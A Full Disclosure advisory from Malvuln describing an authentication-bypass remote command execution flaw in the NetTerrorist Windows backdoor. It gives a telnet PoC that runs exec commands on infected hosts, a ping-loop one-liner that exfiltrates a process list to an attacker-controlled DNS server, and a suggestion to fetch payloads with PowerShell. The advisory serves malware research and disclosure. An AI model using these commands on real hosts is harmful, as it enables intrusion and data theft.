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Date: Tue, 9 Feb 2021 01:29:28 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.NetTerrorist / Unauthorized Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/5131a9b441c9f9b20228f171c327a4f5.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetTerrorist
Vulnerability: Unauthorized Remote Command Execution
Description: NetTerrorist listens on TCP port 785, it seemingly uses
authentication like USER [user], PASS [pass]. Interestingly, you can
just bypass authentication and run commands while ignoring any error
messages. If you wish to logon the main account is "root" with
password "root" which is easily guessed. Whether logged on correctly
or not, when issuing commands you get errors like "JAJAAJJ 500 'EXEC'
command not understood". Just ignore these messages as we can execute
all types of commands on the infected system.
Type: PE32
MD5: 5131a9b441c9f9b20228f171c327a4f5
Vuln ID: MVID-2021-0081
Dropped files: Systray.exe
Disclosure: 02/09/2021

Exploit/PoC:
TELNET [Infected_Host_IP] 785

PhuCk y0u
USER root
JAJAAJJ
331 Password required for root.
PASS abc123
JAJAAJJ
530 Login incorrect.

exec cmd /k ping 8.8.8.8
JAJAAJJ
500 'EXEC': command not understood.
exec calc
JAJAAJJ
500 'EXEC': command not understood.
exec cmd /k dir
JAJAAJJ
500 'EXEC': command not understood.
exec cmd /k taskkill /im ProcessHacker.exe
JAJAAJJ
500 'EXEC': command not understood.

Execute tasklist command and write to file.

500 'EXEC': command not understood.
exec cmd /k tasklist > c:\out.txt

Grab the results using ping (OR finger.exe to DarkFinger.py C2) to
ICMP exfil tunnel to a DNS server we control.
500 'EXEC': command not understood.
exec cmd /k for /f "delims=*" %a in (c:\1.txt) do ping -n 1 %a
JAJAAJJ
500 'EXEC': command not understood.

On our DNS server we see:

msdtc.exe. -> 192.168.1.10
ShellExperienceHost.exe. -> 192.168.1.10
SearchUI.exe. -> 192.168.1.10
RuntimeBroker.exe. -> 192.168.1.10
SearchIndexer.exe. -> 192.168.1.10
vm3dservice.exe. -> 192.168.1.10
cmd.exe. -> 192.168.1.10
conhost.exe. -> 192.168.1.10
ApplicationFrameHost.exe. -> 192.168.1.10
Backdoor.Win32.NetTerrori. -> 192.168.1.10
tasklist.exe. -> 192.168.1.10

Issue taskkill to terminate the backdoor if you got the PID:

PhuCk y0u
exec cmd /c taskkill /f /pid 392
JAJAAJJ
500 'EXEC' command not understood.

Connection to host lost.

You can also try to execute PowerShell to download your own filez.


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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